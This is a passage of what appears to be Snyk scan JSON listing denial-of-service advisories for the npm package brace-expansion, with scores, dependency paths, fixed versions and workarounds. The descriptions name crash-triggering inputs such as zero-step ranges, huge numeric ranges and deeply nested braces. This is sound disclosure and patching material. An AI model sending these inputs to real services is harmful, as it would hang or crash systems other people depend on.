"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub 